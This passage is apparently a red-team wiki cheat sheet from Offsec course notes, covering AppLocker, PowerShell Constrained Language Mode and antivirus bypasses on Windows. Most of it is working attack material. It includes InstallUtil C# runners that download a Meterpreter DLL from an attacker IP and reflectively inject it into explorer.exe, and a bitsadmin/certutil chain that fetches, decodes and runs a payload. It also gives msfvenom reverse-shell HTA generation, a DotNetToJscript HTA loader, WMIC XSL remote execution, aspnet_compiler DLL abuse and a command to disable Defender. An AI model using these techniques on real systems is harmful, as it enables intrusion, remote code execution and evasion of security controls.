            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── dancingdogs.agh        &amp;lt;- this is the trigger file. the extenion is arbitrary.&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   &amp;lt;- this is your malicious dll &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt; file maps a custom extension to the malicous DLL class. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;compilation&amp;gt;&lt;br /&gt;
      &amp;lt;buildProviders&amp;gt;&lt;br /&gt;
        &amp;lt;add extension=&amp;quot;.agh&amp;quot; type=&amp;quot;BringYourOwnBuilder.BringYourOwnBuilder&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/buildProviders&amp;gt;&lt;br /&gt;
    &amp;lt;/compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The config above just tells &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;: When you encounter a &amp;lt;code&amp;gt;.agh&amp;lt;/code&amp;gt; file, use the &amp;lt;code&amp;gt;BringYourOwnBulder&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;BringYourOwnBuilder.dll&amp;lt;/code&amp;gt; to compile it. &lt;br /&gt;
&lt;br /&gt;
Place a file with the matcing extension inside the folder &amp;lt;code&amp;gt;App_Code&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
App_Code\dancingdogs.agh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we create a C# clasw library that inherits from &amp;lt;code&amp;gt;System.Web.Compilation.BuildProvider&amp;lt;/code&amp;gt; and ovverides the code &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; method. Any code that is placed in the &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; executes when the compiler processes the trigger file.&lt;br /&gt;
&lt;br /&gt;
Super simple PoC:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Web.Compilation;&lt;br /&gt;
using System.CodeDom;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
&lt;br /&gt;
namespace BringYourOwnBuilder&lt;br /&gt;
{&lt;br /&gt;
    public class BringYourOwnBuilder : BuildProvider&lt;br /&gt;
    {&lt;br /&gt;
        public override void GenerateCode(AssemblyBuilder ab)&lt;br /&gt;
        {&lt;br /&gt;
            MessageBox.Show(&amp;quot;code execution&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Place the compiled &amp;lt;code&amp;gt;BringYourOwnBuilder&amp;lt;/code&amp;gt; and place it in the &amp;lt;code&amp;gt;bin\&amp;lt;/code&amp;gt; folder. &lt;br /&gt;
&lt;br /&gt;
Now run the following command to invoke aspnet_compiler.exe, which in turn will execute your dll and a messagebox with &amp;quot;code execution&amp;quot; will pop up.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aspnet_compiler.exe  (Microsoft-signed, trusted)&lt;br /&gt;
        │&lt;br /&gt;
        └── reads web.config&lt;br /&gt;
                │&lt;br /&gt;
                └── &amp;lt;buildProviders&amp;gt; -&amp;gt; loads BringYourOwnBuilder.dll&lt;br /&gt;
                            │&lt;br /&gt;
                            └── GenerateCode() -&amp;gt; payload executes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\agh\desktop\asptest\ -f C:\users\agh\desktop\asptest\none -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
